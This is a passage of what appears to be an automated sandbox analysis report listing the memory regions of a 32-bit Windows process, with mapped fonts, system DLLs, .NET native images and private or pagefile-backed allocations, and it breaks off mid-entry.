mapped_file name = "msjh.ttf" filename = "\\Windows\\Fonts\\msjh.ttf" (normalized: "c:\\windows\\fonts\\msjh.ttf") Region: id = 1336 start_va = 0x4fc0000 end_va = 0x6468fff entry_point = 0x4fc0000 region_type = mapped_file name = "msjh.ttf" filename = "\\Windows\\Fonts\\msjh.ttf" (normalized: "c:\\windows\\fonts\\msjh.ttf") Region: id = 1337 start_va = 0x4fc0000 end_va = 0x6482fff entry_point = 0x4fc0000 region_type = mapped_file name = "msyh.ttf" filename = "\\Windows\\Fonts\\msyh.ttf" (normalized: "c:\\windows\\fonts\\msyh.ttf") Region: id = 1338 start_va = 0x4fc0000 end_va = 0x6482fff entry_point = 0x4fc0000 region_type = mapped_file name = "msyh.ttf" filename = "\\Windows\\Fonts\\msyh.ttf" (normalized: "c:\\windows\\fonts\\msyh.ttf") Region: id = 1339 start_va = 0x4fc0000 end_va = 0x53e2fff entry_point = 0x4fc0000 region_type = mapped_file name = "malgun.ttf" filename = "\\Windows\\Fonts\\malgun.ttf" (normalized: "c:\\windows\\fonts\\malgun.ttf") Region: id = 1340 start_va = 0x4fc0000 end_va = 0x53e2fff entry_point = 0x4fc0000 region_type = mapped_file name = "malgun.ttf" filename = "\\Windows\\Fonts\\malgun.ttf" (normalized: "c:\\windows\\fonts\\malgun.ttf") Region: id = 1341 start_va = 0x4c80000 end_va = 0x4d1ffff entry_point = 0x4c80000 region_type = mapped_file name = "micross.ttf" filename = "\\Windows\\Fonts\\micross.ttf" (normalized: "c:\\windows\\fonts\\micross.ttf") Region: id = 1342 start_va = 0x4c80000 end_va = 0x4d1ffff entry_point = 0x4c80000 region_type = mapped_file name = "micross.ttf" filename = "\\Windows\\Fonts\\micross.ttf" (normalized: "c:\\windows\\fonts\\micross.ttf") Region: id = 1343 start_va = 0x10a0000 end_va = 0x111efff entry_point = 0x10a0000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 1344 start_va = 0x10a0000 end_va = 0x111efff entry_point = 0x10a0000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 1345 start_va = 0x4fc0000 end_va = 0x51bffff entry_point = 0x0 region_type = private name = "private_0x0000000004fc0000" filename = "" Region: id = 1346 start_va = 0x4c80000 end_va = 0x4daffff entry_point = 0x0 region_type = private name = "private_0x0000000004c80000" filename = "" Region: id = 1347 start_va = 0x51c0000 end_va = 0x5aeffff entry_point = 0x51c0000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 1348 start_va = 0x470000 end_va = 0x470fff entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 1349 start_va = 0x10a0000 end_va = 0x1100fff entry_point = 0x10a0000 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorrc.dll") Region: id = 1350 start_va = 0x4a0000 end_va = 0x4a0fff entry_point = 0x4a0000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1351 start_va = 0x500000 end_va = 0x506fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 1352 start_va = 0x510000 end_va = 0x511fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 1353 start_va = 0x5af0000 end_va = 0x5ee2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005af0000" filename = "" Region: id = 1354 start_va = 0x4a0000 end_va = 0x4a0fff entry_point = 0x4a0000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1355 start_va = 0x75650000 end_va = 0x76299fff entry_point = 0x756d1601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 1356 start_va = 0x4a0000 end_va = 0x4a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004a0000" filename = "" Region: id = 1357 start_va = 0x74b40000 end_va = 0x74b4afff entry_point = 0x74b41992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 1358 start_va = 0x660000 end_va = 0x69ffff entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 1359 start_va = 0x1010000 end_va = 0x104ffff entry_point = 0x0 region_type = private name = "private_0x0000000001010000" filename = "" Region: id = 1360 start_va = 0x4dc0000 end_va = 0x4dfffff entry_point = 0x0 region_type = private name = "private_0x0000000004dc0000" filename = "" Region: id = 1361 start_va = 0x5f40000 end_va = 0x603ffff entry_point = 0x0 region_type = private name = "private_0x0000000005f40000" filename = "" Region: id = 1362 start_va = 0x7efa4000 end_va = 0x7efa6fff entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 1363 start_va = 0x7efa7000 end_va = 0x7efa9fff entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 1364 start_va = 0x73b10000 end_va = 0x73b22fff entry_point = 0x73b11d3f region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 1365 start_va = 0x4c80000 end_va = 0x4d21fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004c80000" filename = "" Region: id = 1366 start_va = 0x4d70000 end_va = 0x4daffff entry_point = 0x0 region_type = private name = "private_0x0000000004d70000" filename = "" Region: id = 1367 start_va = 0x520000 end_va = 0x53ffff entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 1368 start_va = 0x4e00000 end_va = 0x4e7ffff entry_point = 0x0 region_type = private name = "private_0x0000000004e00000" filename = "" Region: id = 1369 start_va = 0x540000 end_va = 0x540fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 1370 start_va = 0x76490000 end_va = 0x76512fff entry_point = 0x764923d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 1371 start_va = 0x76910000 end_va = 0x7699efff entry_point = 0x76913fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 1372 start_va = 0x560000 end_va = 0x560fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000560000" filename = "" Region: id = 1373 start_va = 0x6ec20000 end_va = 0x6f69ffff entry_point = 0x6ec26b95 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\SysWOW64\\ieframe.dll" (normalized: "c:\\windows\\syswow64\\ieframe.dll") Region: id = 1374 start_va = 0x77870000 end_va = 0x77874fff entry_point = 0x77871438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 1375 start_va = 0x74f50000 end_va = 0x74f8bfff entry_point = 0x74f53089 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\SysWOW64\\oleacc.dll" (normalized: "c:\\windows\\syswow64\\oleacc.dll") Region: id = 1376 start_va = 0x76f30000 end_va = 0x7712afff entry_point = 0x76f322d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 1377 start_va = 0x570000 end_va = 0x570fff entry_point = 0x570000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\SysWOW64\\oleaccrc.dll" (normalized: "c:\\windows\\syswow64\\oleaccrc.dll") Region: id = 1378 start_va = 0x6a0000 end_va = 0x6a1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 1379 start_va = 0xa60000 end_va = 0xa70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a60000" filename = "" Region: id = 1380 start_va = 0x751a0000 end_va = 0x751fefff entry_point = 0x751a2134 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\SysWOW64\\sxs.dll" (normalized: "c:\\windows\\syswow64\\sxs.dll") Region: id = 1381 start_va = 0xb20000 end_va = 0xb31fff entry_point = 0xb26b95 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\SysWOW64\\ieframe.dll" (normalized: "c:\\windows\\syswow64\\ieframe.dll") Region: id = 1382 start_va = 0x6040000 end_va = 0x60fffff entry_point = 0x6040000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 1383 start_va = 0x61a0000 end_va = 0x61dffff entry_point = 0x0 region_type = private name = "private_0x00000000061a0000" filename = "" Region: id = 1384 start_va = 0x6200000 end_va = 0x62fffff entry_point = 0x0 region_type = private name = "private_0x0000000006200000" filename = "" Region: id = 1385 start_va = 0x749e0000 end_va = 0x749f5fff entry_point = 0x749e2dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 1386 start_va = 0x7efa1000 end_va = 0x7efa3fff entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 1387 start_va = 0x4d30000 end_va = 0x4d6bfff entry_point = 0x4d3128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1388 start_va = 0x4d30000 end_va = 0x4d6bfff entry_point = 0x4d3128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1389 start_va = 0x4d30000 end_va = 0x4d6bfff entry_point = 0x4d3128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1390 start_va = 0x4d30000 end_va = 0x4d6bfff entry_point = 0x4d3128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1391 start_va = 0x4d30000 end_va = 0x4d6bfff entry_point = 0x4d3128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1392 start_va = 0x74460000 end_va = 0x7449afff entry_point = 0x7446128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1393 start_va = 0x749d0000 end_va = 0x749ddfff entry_point = 0x749d1235 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" (normalized: "c:\\windows\\syswow64\\rpcrtremote.dll") Region: id = 1394 start_va = 0x6330000 end_va = 0x636ffff entry_point = 0x0 region_type = private name = "private_0x0000000006330000" filename = "" Region: id = 1395 start_va = 0x6380000 end_va = 0x63bffff entry_point = 0x0 region_type = private name = "private_0x0000000006380000" filename = "" Region: id = 1396 start_va = 0x6410000 end_va = 0x650ffff entry_point = 0x0 region_type = private name = "private_0x0000000006410000" filename = "" Region: id = 1397 start_va = 0x6690000 end_va = 0x678ffff entry_point = 0x0 region_type = private name = "private_0x0000000006690000" filename = "" Region: id = 1398 start_va = 0x6ba10000 end_va = 0x6bafafff entry_point = 0x6ba10000 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Configuration\\28586400bcaf94c13a9fd0dff4a1e090\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.configuration\\28586400bcaf94c13a9fd0dff4a1e090\\system.configuration.ni.dll") Region: id = 1399 start_va = 0x7ef9b000 end_va = 0x7ef9dfff entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 1400 start_va = 0x7ef9e000 end_va = 0x7efa0fff entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 1401 start_va = 0x6f0000 end_va = 0x6fffff entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 1402 start_va = 0xa80000 end_va = 0xa80fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a80000" filename = "" Region: id = 1403 start_va = 0x6b2d0000 end_va = 0x6ba07fff entry_point = 0x6b2d0000 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\9ba07396ae369d010c5c3927a82ef426\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.xml\\9ba07396ae369d010c5c3927a82ef426\\system.xml.ni.dll") Region: id = 1404 start_va = 0xad0000 end_va = 0xad1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ad0000" filename = "" Region: id = 1405 start_va = 0xad0000 end_va = 0xad0fff entry_point = 0xad0000 region_type = mapped_file name = "msctf.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\msctf.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\msctf.dll.mui") Region: id = 1406 start_va = 0xc80000 end_va = 0xc81fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c80000" filename = "" Region: id = 1407 start_va = 0xc80000 end_va = 0xc81fff entry_point = 0x0 region_type = private name = "private_0x0000000000c80000" filename = "" Region: id = 1408 start_va = 0xc80000 end_va = 0xc83fff entry_point = 0x0 region_type = private name = "private_0x0000000000c80000" filename = "" Region: id = 1409 start_va = 0x75080000 end_va = 0x75094fff entry_point = 0x750812de region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\SysWOW64\\rasman.dll" (normalized: "c:\\windows\\syswow64\\rasman.dll") Region: id = 1410 start_va = 0x750a0000 end_va = 0x750f1fff entry_point = 0x750a14be region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\SysWOW64\\rasapi32.dll" (normalized: "c:\\windows\\syswow64\\rasapi32.dll") Region: id = 1411 start_va = 0x76c80000 end_va = 0x76c85fff entry_point = 0x76c81782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1412 start_va = 0x77130000 end_va = 0x77164fff entry_point = 0x7713145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1413 start_va = 0x6510000 end_va = 0x660ffff entry_point = 0x0 region_type = private name = "private_0x0000000006510000" filename = "" Region: id = 1414 start_va = 0x75070000 end_va = 0x7507cfff entry_point = 0x75071326 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\SysWOW64\\rtutils.dll" (normalized: "c:\\windows\\syswow64\\rtutils.dll") Region: id = 1415 start_va = 0x74fd0000 end_va = 0x7500bfff entry_point = 0x74fd145d region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll") Region: id = 1416 start_va = 0x6790000 end_va = 0x689ffff entry_point = 0x0 region_type = private name = "private_0x0000000006790000" filename = "" Region: id = 1417 start_va = 0x74fc0000 end_va = 0x74fc4fff entry_point = 0x74fc15df region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" (normalized: "c:\\windows\\syswow64\\wshtcpip.dll") Region: id = 1418 start_va = 0x74fa0000 end_va = 0x74fa5fff entry_point = 0x74fa1673 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\SysWOW64\\wship6.dll" (normalized: "c:\\windows\\syswow64\\wship6.dll") Region: id = 1419 start_va = 0x6620000 end_va = 0x665ffff entry_point = 0x0 region_type = private name = "private_0x0000000006620000" filename = "" Region: id = 1420 start_va = 0x68a0000 end_va = 0x699ffff entry_point = 0x0 region_type = private name = "private_0x00000000068a0000" filename = "" Region: id = 1421 start_va = 0x7ef98000 end_va = 0x7ef9afff entry_point = 0x0 region_type = private name = "private_0x000000007ef98000" filename = "" Region: id = 1422 start_va = 0x6b220000 end_va = 0x6b26efff entry_point = 0x6b221452 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\SysWOW64\\webio.dll" (normalized: "c:\\windows\\syswow64\\webio.dll") Region: id = 1423 start_va = 0x6b270000 end_va = 0x6b2c7fff entry_point = 0x6b2713b4 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll") Region: id = 1424 start_va = 0xc90000 end_va = 0xc90fff entry_point = 0x0 region_type = private name = "private_0x0000000000c90000" filename = "" Region: id = 1425 start_va = 0x74dc0000 end_va = 0x74dc7fff entry_point = 0x74dc34d3 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\SysWOW64\\credssp.dll" (normalized: "c:\\windows\\syswow64\\credssp.dll") Region: id = 1426 start_va = 0x75100000 end_va = 0x7511bfff entry_point = 0x7510a431 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll") Region: id = 1427 start_va = 0x75300000 end_va = 0x75306fff entry_point = 0x7530128d region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll") Region: id = 1428 start_va = 0x74e70000 end_va = 0x74e7cfff entry_point = 0x74e72012 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc6.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc6.dll") Region: id = 1429 start_va = 0x74e80000 end_va = 0x74e91fff entry_point = 0x74e83271 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc.dll" (normalized: "c:\\windows\\syswow64\\dhcpcsvc.dll") Region: id = 1430 start_va = 0x76850000 end_va = 0x76876fff entry_point = 0x768558b9 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 1431 start_va = 0x67a0000 end_va = 0x67dffff entry_point = 0x0 region_type = private name = "private_0x00000000067a0000" filename = "" Region: id = 1432 start_va = 0x6860000 end_va = 0x689ffff entry_point = 0x0 region_type = private name = "private_0x0000000006860000" filename = "" Region: id = 1433 start_va = 0x6aa0000 end_va = 0x6b9ffff entry_point = 0x0 region_type = private name = "private_0x0000000006aa0000" filename = "" Region: id = 1434 start_va = 0x75120000 end_va = 0x75163fff entry_point = 0x751363f9 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll") Region: id = 1435 start_va = 0x7ef95000 end_va = 0x7ef97fff entry_point = 0x0 region_type = private name = "private_0x000000007ef95000" filename = "" Region: id = 1436 start_va = 0x6ba0000 end_va = 0x6d3ffff entry_point = 0x0 region_type = private name = "private_0x0000000006ba0000" filename = "" Region: id = 1437 start_va = 0x75040000 end_va = 0x75045fff entry_point = 0x750414b2 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll") Region: id = 1438 start_va = 0x74f10000 end_va = 0x74f47fff entry_point = 0x74f1990e region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll") Region: id = 1439 start_va = 0x69a0000 end_va = 0x6a8ffff entry_point = 0x0 region_type = private name = "private_0x00000000069a0000" filename = "" Region: id = 1440 start_va = 0x6160000 end_va = 0x619ffff entry_point = 0x0 region_type = private name = "private_0x0000000006160000" filename = "" Region: id = 1441 start_va = 0x6c00000 end_va = 0x6cfffff entry_point = 0x0 region_type = private name = "private_0x0000000006c00000" filename = "" Region: id = 1442 start_va = 0x6d00000 end_va = 0x6d3ffff entry_point = 0x0 region_type = private name = "private_0x0000000006d00000" filename = "" Region: id = 1443 start_va = 0x74080000 end_va = 0x74087fff entry_point = 0x740810e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 1444 start_va = 0x7ef92000 end_va = 0x7ef94fff entry_point = 0x0 region_type = private name = "private_0x000000007ef92000" filename = "" Region: id = 1445 start_va = 0x6b1e0000 end_va = 0x6b219fff entry_point = 0x6b1e0000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\SysWOW64\\schannel.dll" (normalized: "c:\\windows\\syswow64\\schannel.dll") Region: id = 1446 start_va = 0x769c0000 end_va = 0x76adcfff entry_point = 0x769c158a region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 1447 start_va = 0x76e90000 end_va = 0x76e9bfff entry_point = 0x76e9238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 1448 start_va = 0x74a30000 end_va = 0x74b24fff entry_point = 0x74a40d9e region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll") Region: id = 1449 start_va = 0xc90000 end_va = 0xc91fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c90000" filename = "" Region: id = 1450 start_va = 0x74780000 end_va = 0x747cbfff entry_point = 0x74782c14 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 1451 start_va = 0x75460000 end_va = 0x75595fff entry_point = 0x75461b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 1452 start_va = 0x762f0000 end_va = 0x763e4fff entry_point = 0x762f1865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll") Region: id = 1453 start_va = 0x6b1a0000 end_va = 0x6b1d7fff entry_point = 0x6b1a0000 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\SysWOW64\\ncrypt.dll" (normalized: "c:\\windows\\syswow64\\ncrypt.dll") Region: id = 1454 start_va = 0x6b160000 end_va = 0x6b19cfff entry_point = 0x6b160000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 1455 start_va = 0x74a00000 end_va = 0x74a20fff entry_point = 0x74a0145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 1456 start_va = 0x762a0000 end_va = 0x762e4fff entry_point = 0x762a11e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 1457 start_va = 0xca0000 end_va = 0xca3fff entry_point = 0xca0000 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 1458 start_va = 0x4c40000 end_va = 0x4c62fff entry_point = 0x4c40000 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000b.db" filename = "\\Users\\kFT6uTQW\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000b.db" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000000b.db") Region: id = 1459 start_va = 0xdb0000 end_va = 0xdb0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000db0000" filename = "" Region: id = 1460 start_va = 0xca0000 end_va = 0xca3fff entry_point = 0xca0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1461 start_va = 0x4d30000 end_va = 0x4d5ffff entry_point = 0x4d30000 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000a.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000a.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x000000000000000a.db") Region: id = 1462 start_va = 0xdc0000 end_va = 0xdc3fff entry_point = 0xdc0000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 1463 start_va = 0x67e0000 end_va = 0x6845fff entry_point = 0x67e0000 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db") Region: id = 1464 start_va = 0xe10000 end_va = 0xe10fff entry_point = 0xe10000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1465 start_va = 0x76ae0000 end_va = 0x76c7cfff entry_point = 0x76ae17e7 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\SysWOW64\\setupapi.dll" (normalized: "c:\\windows\\syswow64\\setupapi.dll") Region: id = 1466 start_va = 0x76eb0000 end_va = 0x76ec1fff entry_point = 0x76eb1441 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 1467 start_va = 0xe10000 end_va = 0xe10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e10000" filename = "" Region: id = 1468 start_va = 0xe20000 end_va = 0xe26fff entry_point = 0xe20000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1492 start_va = 0x5f00000 end_va = 0x5f3ffff entry_point = 0x0 region_type = private name = "private_0x0000000005f00000" filename = "" Region: id = 1493 start_va = 0x6db0000 end_va = 0x6deffff entry_point = 0x0 region_type = private name = "private_0x0000000006db0000" filename = "" Region: id = 1494 start_va = 0x6ed0000 end_va = 0x6fcffff entry_point = 0x0 region_type = private name = "private_0x0000000006ed0000" filename = "" Region: id = 1495 start_va = 0x71b0000 end_va = 0x72affff entry_point = 0x0 region_type = private name = "private_0x00000000071b0000" filename = "" Region: id = 1496 start_va = 0x7ef8c000 end_va = 0x7ef8efff entry_point = 0x0 region_type = private name = "private_0x000000007ef8c000" filename = "" Region: id = 1497 start_va = 0x7ef8f000 end_va = 0x7ef91fff entry_point = 0x0 region_type = private name = "private_0x000000007ef8f000" filename = "" Region: id = 1498 start_va = 0xe20000 end_va = 0xe20fff entry_point = 0xe20000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1499 start_va = 0xe20000 end_va = 0xe26fff entry_point = 0xe20000 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1500 start_va = 0xe20000 end_va = 0xe20fff entry_point = 0xe20000 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1501 start_va = 0xe20000 end_va = 0xe26fff 